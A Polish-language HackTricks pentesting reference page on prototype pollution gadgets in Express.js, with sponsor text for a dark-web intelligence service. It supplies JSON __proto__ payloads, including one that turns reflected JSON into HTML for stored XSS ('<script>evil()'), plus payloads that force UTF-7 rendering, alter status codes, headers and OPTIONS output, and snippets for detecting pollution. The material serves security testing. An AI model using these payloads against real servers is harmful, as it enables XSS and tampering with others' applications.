Express Prototype Pollution Gadgets

Wsparcie dla HackTricks

WhiteIntel to silnik wyszukiwania zasilany ciemną siecią, który oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Serwuj odpowiedzi XSS

Aby uzyskać więcej szczegółów zobacz oryginalne badania

Zmień typ zawartości JSON na HTML

W aplikacji Express używającej odpowiedzi typu JSON i odzwierciedlającej JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

W tych przypadkach XSS zazwyczaj nie jest możliwe z typem zawartości JSON. Jednak dzięki zanieczyszczeniu prototypu możemy zmylić Express, aby zwrócił odpowiedź HTML. Ta podatność polega na tym, że aplikacja używa res.send(obj) i korzysta z parsera ciała z typem zawartości application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Poprzez zanieczyszczenie właściwości body i _body, możliwe jest spowodowanie, że Express będzie serwować typ zawartości HTML i odzwierciedli właściwość _body, co skutkuje przechowywanym XSS.

Render UTF7

Możliwe jest, aby express renderował zawartość UTF-7 za pomocą:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Bezpieczne techniki skanowania

Przestrzenie JSON

Poniższe PP spowoduje, że atrybuty wewnątrz JSON będą miały dodatkową przestrzeń, co nie wpłynie na funkcjonalność:

{"__proto__":{"json spaces": " "}}

Wtedy odzwierciedlony JSON będzie wyglądać następująco:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

Następujący gadżet PP spowoduje, że serwer wyśle z powrotem nagłówek HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Wymaga zainstalowania modułu CORS

Metoda OPTIONS

Za pomocą poniższego ładunku możliwe jest ukrycie metody w odpowiedzi OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Możliwe jest zmienienie zwracanego kodu statusu za pomocą następującego ładunku PP:

{"__proto__":{"status":510}}

Błąd

Kiedy przypisujesz do prototypu z prymitywem, takim jak ciąg, produkuje to operację no-op, ponieważ prototyp musi być obiektem. Jeśli spróbujesz przypisać obiekt prototypu do samego Object.prototype, to wyrzuci wyjątek. Możemy użyć tych dwóch zachowań do wykrycia, czy zanieczyszczenie prototypu było udane:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

Kiedy aplikacja zawiera obiekt w swojej odpowiedzi, stworzenie atrybutu o nietypowej nazwie obok __proto__ może być pouczające. W szczególności, jeśli tylko nietypowy atrybut jest zwracany w odpowiedzi, może to wskazywać na podatność aplikacji:

{"unusualName":"value","__proto__":"test"}

Ponadto, w scenariuszach, w których używana jest biblioteka taka jak Lodash, ustawienie właściwości zarówno za pomocą zanieczyszczenia prototypu (PP), jak i bezpośrednio w obiekcie, oferuje inne podejście diagnostyczne. Jeśli taka właściwość jest pomijana w odpowiedzi, sugeruje to, że Lodash weryfikuje istnienie właściwości w docelowym obiekcie przed scaleniem:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Istnieje opcja w Express, która pozwala na tworzenie obiektów z parametrów ciągu zapytania. Możesz to zdecydowanie wykorzystać w łańcuchu błędów, aby wykorzystać vulnerabilność zanieczyszczenia prototypu.

{"__proto__":{"allowDots":true}}

?foo.bar=baz tworzy obiekt w Node.

Referencje

WhiteIntel to wyszukiwarka zasilana dark-web, która oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę i wypróbować ich silnik za darmo pod adresem:

Wsparcie dla HackTricks

Last updated